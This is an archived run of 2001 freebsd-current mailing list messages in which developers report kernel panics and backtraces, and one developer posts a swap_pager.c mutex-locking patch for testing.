mta5.snfc21.pbi.net (mta5.snfc21.pbi.net [206.13.28.241]) by hub.freebsd.org (Postfix) with ESMTP id 9C12037B424 for ; Sat, 19 May 2001 18:16:20 -0700 (PDT) (envelope-from jazepeda@pacbell.net) Received: from zippy.mybox.zip ([207.214.149.61]) by mta5.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <0GDM006640UJMC@mta5.snfc21.pbi.net> for current@freebsd.org; Sat, 19 May 2001 18:15:58 -0700 (PDT) Received: by zippy.mybox.zip (Postfix, from userid 1000) id 31BA817D6; Sat, 19 May 2001 18:15:54 -0700 (PDT) Date: Sat, 19 May 2001 18:15:53 -0700 From: Alex Zepeda Subject: Re: panic: workitem_free: still on list In-reply-to: ; from rb@gid.co.uk on Sat, May 19, 2001 at 02:53:57PM +0100 To: Bob Bishop Cc: current@freebsd.org Message-id: <20010519181553.A574@zippy.mybox.zip> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-disposition: inline User-Agent: Mutt/1.2.5i References: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, May 19, 2001 at 02:53:57PM +0100, Bob Bishop wrote: > On reboot, I got the manual fsck jive with the "bad superblock: values > disagree ,,with,, first alternate", and had to re-enable softupdates on / This hasn't bit me ever. > Abridged backtrace: > > panic() > workitem_free() > free_newdirblk() > handle_written_inodeblock() > softdep_disk_write_complete() > bufdone() > bufdonebio() > dadone() > camisr() > ithread_loop() > fork_exit() > fork_trampoline() However the above has, and I've got IDE disks: zippy:~#dmesg|egrep "(^ad|^acd|^ata)" atapci0: port 0xf000-0xf00f at device 7.1 on pci0 ata0: at 0x1f0 irq 14 on atapci0 ata1: at 0x170 irq 15 on atapci0 ad0: 29314MB [59560/16/63] at ata0-master UDMA33 ad2: 12416MB [25228/16/63] at ata1-master UDMA33 acd0: CD-RW at ata1-slave PIO4 Sadly I haven't been able to get a crash dump in a while. Usually it'll hang while trying to reset the disks, but this time it panic'd again. - alex To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat May 19 18:56:45 2001 Delivered-To: freebsd-current@freebsd.org Received: from superconductor.rush.net (superconductor.rush.net [208.9.155.8]) by hub.freebsd.org (Postfix) with ESMTP id D518D37B422 for ; Sat, 19 May 2001 18:56:41 -0700 (PDT) (envelope-from bright@superconductor.rush.net) Received: (from bright@localhost) by superconductor.rush.net (8.11.2/8.11.2) id f4K1uRk31849; Sat, 19 May 2001 21:56:27 -0400 (EDT) Date: Sat, 19 May 2001 21:56:26 -0400 From: Alfred Perlstein To: Szilveszter Adam Cc: current@FreeBSD.ORG Subject: Re: panic: mutex vm not owned... Message-ID: <20010519215626.W7118@superconductor.rush.net> References: <20010519225319.A10701@petra.hos.u-szeged.hu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0us In-Reply-To: <20010519225319.A10701@petra.hos.u-szeged.hu>; from sziszi@petra.hos.u-szeged.hu on Sat, May 19, 2001 at 10:53:19PM +0200 X-all-your-base: are belong to us. Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Szilveszter Adam [010519 16:53] wrote: > Hello everybody, > > I guess I was just being too happy so it had to get me this time:-) I was > building Mozilla when it struck. Today's -CURRENT, kernel & world in sync, > no softupdates. > > panic: mutex vm not owned at ../../vm/vm_page.h:328 > Debugger("panic") > > Stopped at Debugger > > trace: > Debugger > panic > _mtx_assert > swp_pager_async_iodone > _iodone > bufdone > bufdonebio > ad_interrupt > ata_intr > fork_exit > fork_trampoline > > Unfortunately, dumping still doesn't work, I get the old and familiar: > dump ata0: resetting devices... panic: witness_restore: lock (sleep mutex) > Giant not locked. > > So there is no crash dump. Thanks for the traceback, can you apply this patch then try to get your machine to swap? Index: swap_pager.c =================================================================== RCS file: /home/ncvs/src/sys/vm/swap_pager.c,v retrieving revision 1.155 diff -u -r1.155 swap_pager.c --- swap_pager.c 2001/05/19 01:28:08 1.155 +++ swap_pager.c 2001/05/20 01:58:06 @@ -1474,8 +1474,8 @@ */ mtx_unlock(&Giant); - mtx_lock(&vm_mtx); swp_pager_async_iodone(bp); + mtx_lock(&vm_mtx); splx(s); } @@ -1554,7 +1554,7 @@ /* * remove the mapping for kernel virtual */ - + mtx_lock(&vm_mtx); pmap_qremove((vm_offset_t)bp->b_data, bp->b_npages); /* @@ -1689,6 +1689,7 @@ if (object) vm_object_pip_wakeupn(object, bp->b_npages); + mtx_unlock(&vm_mtx); /* * release the physical I/O buffer */ -- -Alfred Perlstein [alfred@freebsd.org] Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat May 19 19: 8:31 2001 Delivered-To: freebsd-current@freebsd.org Received: from superconductor.rush.net (superconductor.rush.net [208.9.155.8]) by hub.freebsd.org (Postfix) with ESMTP id A309737B422 for ; Sat, 19 May 2001 19:08:28 -0700 (PDT) (envelope-from bright@superconductor.rush.net) Received: (from bright@localhost) by superconductor.rush.net (8.11.2/8.11.2) id f4K28QA28477; Sat, 19 May 2001 22:08:26 -0400 (EDT) Date: Sat, 19 May 2001 22:08:25 -0400 From: Alfred Perlstein To: Szilveszter Adam Cc: current@FreeBSD.ORG Subject: Re: panic: mutex vm not owned... Message-ID: <20010519220825.X7118@superconductor.rush.net> References: <20010519225319.A10701@petra.hos.u-szeged.hu> <20010519215626.W7118@superconductor.rush.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0us In-Reply-To: <20010519215626.W7118@superconductor.rush.net>; from bright@rush.net on Sat, May 19, 2001 at 09:56:26PM -0400 X-all-your-base: are belong to us. Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Alfred Perlstein [010519 21:57] wrote: > * Szilveszter Adam [010519 16:53] wrote: > > Hello everybody, > > > > I guess I was just being too happy so it had to get me this time:-) I was > > building Mozilla when it struck. Today's -CURRENT, kernel & world in sync, > > no softupdates. > > > > panic: mutex vm not owned at ../../vm/vm_page.h:328 > > Debugger("panic") ... > > Thanks for the traceback, can you apply this patch then try > to get your machine to swap? Oh, yeah, thanks for being brave, I've got a lot of other developers telling me they're not upgrading past the vm mutex patch point which is pretty stupid as it's doing to more harm then good without a thorough workout. :( -Alfred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat May 19 19:43:39 2001 Delivered-To: freebsd-current@freebsd.org Received: from c1030098-a.wtrlo1.ia.home.com (c1030098-a.wtrlo1.ia.home.com [24.6.200.230]) by hub.freebsd.org (Postfix) with ESMTP id 033D637B422 for ; Sat, 19 May 2001 19:43:38 -0700 (PDT) (envelope-from mdharnois@home.com) Received: by c1030098-a.wtrlo1.ia.home.com (Postfix, from userid 1001) id 49C7D14A3A; Sat, 19 May 2001 21:44:30 -0500 (CDT) To: freebsd-current@freebsd.org Subject: kernel trap 12 with interrupts disabled From: Michael Harnois Date: 19 May 2001 21:44:29 -0500 Message-ID: <86n188kacy.fsf@mharnois.workgroup.net> Lines: 9 User-Agent: Gnus/5.090004 (Oort Gnus v0.04) XEmacs/21.5 (anise) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG is the message I get as soon as I'm done booting with a kernel build from this evening's cvsup. No other messages ... sorry, no serial console ... -- Michael D. Harnois mdharnois@home.com Redeemer Lutheran Church Washburn, Iowa Censorship is the strongest drive in human nature; sex is a weak second. -- Phil Kerby To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat May 19 19:49:11 2001 Delivered-To: freebsd-current@freebsd.org Received: from superconductor.rush.net (superconductor.rush.net [208.9.155.8]) by hub.freebsd.org (Postfix) with ESMTP id 8786437B422 for ; Sat, 19 May 2001 19:49:08 -0700 (PDT) (envelope-from bright@superconductor.rush.net) Received: (from bright@localhost) by superconductor.rush.net (8.11.2/8.11.2) id f4K2mpY31288; Sat, 19 May 2001 22:48:51 -0400 (EDT) Date: Sat, 19 May 2001 22:48:51 -0400 From: Alfred Perlstein To: Michael Harnois Cc: freebsd-current@FreeBSD.ORG Subject: Re: kernel trap 12 with interrupts disabled Message-ID: <20010519224851.Y7118@superconductor.rush.net> References: <86n188kacy.fsf@mharnois.workgroup.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0us In-Reply-To: <86n188kacy.fsf@mharnois.workgroup.net>; from mdharnois@home.com on Sat, May 19, 2001 at 09:44:29PM -0500 X-all-your-base: are belong to us. Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Michael Harnois [010519 22:44] wrote: > is the message I get as soon as I'm done booting with a kernel build > from this evening's cvsup. No other messages ... sorry, no serial > console ... You'll have to provide more info before anyone can help you. Can you at least get a DDB traceback? -- -Alfred Perlstein [alfred@freebsd.org] Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat May 19 20:32:28 2001 Delivered-To: freebsd-current@freebsd.org Received: from cartier.cirx.org (cartier.cirx.org [211.72.15.243]) by hub.freebsd.org (Postfix) with ESMTP id 6196C37B424 for ; Sat, 19 May 2001 20:32:24 -0700 (PDT) (envelope-from clive@tongi.org) Received: from cartier.cirx.org (nullmail@localhost [127.0.0.1]) by cartier.cirx.org (8.11.3/8.11.3) with SMTP id f4K3WMb28596 for ; Sun, 20 May 2001 11:32:23 +0800 (CST) (envelope-from clive@tongi.org) Received: (nullmailer pid 28592 invoked by uid 1000); Sun, 20 May 2001 03:32:21 -0000 Date: Sun, 20 May 2001 11:32:21 +0800 From: Clive Lin To: current@FreeBSD.ORG Subject: Re: Panic during -CURRENT buildworld Message-ID: <20010520113221.B10518@cartier.cirx.org> References: <200105181748.f4IHmJS88409@bunrab.catwhisker.org> <200105190425.f4J4PxM89679@bunrab.catwhisker.org> <20010519125636.A58191@bank-pedersen.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010519125636.A58191@bank-pedersen.dk>; from ncbp@bank-pedersen.dk on Sat, May 19, 2001 at 12:56:37PM +0200 X-PGP-key: http://www.cirx.org/~clive/clive.asc Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Panic w/ softupdate disappears after I grab this revision of ffs_softdep.c: > ident /usr/src/sys/ufs/ffs/ffs_softdep.c /usr/src/sys/ufs/ffs/ffs_softdep.c: $FreeBSD: src/sys/ufs/ffs/ffs_softdep.c,v 1.97 2001/05/19 19:24:26 mckusick Exp $ Now it's fairly smooth to buildworld, installworld, copy many small files bewteen different slice/media/network (Okay, samba :D) for me. -- Clive Lin (Tong-I Lin)\n =P clive@tongi.org # Family, friends, private affairs\n =F clive@FreeBSD.org # Chinese ports, documentation\n =O clive@CirX.ORG # Others\n =J.* # What do you think about the 'J' ?\n To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message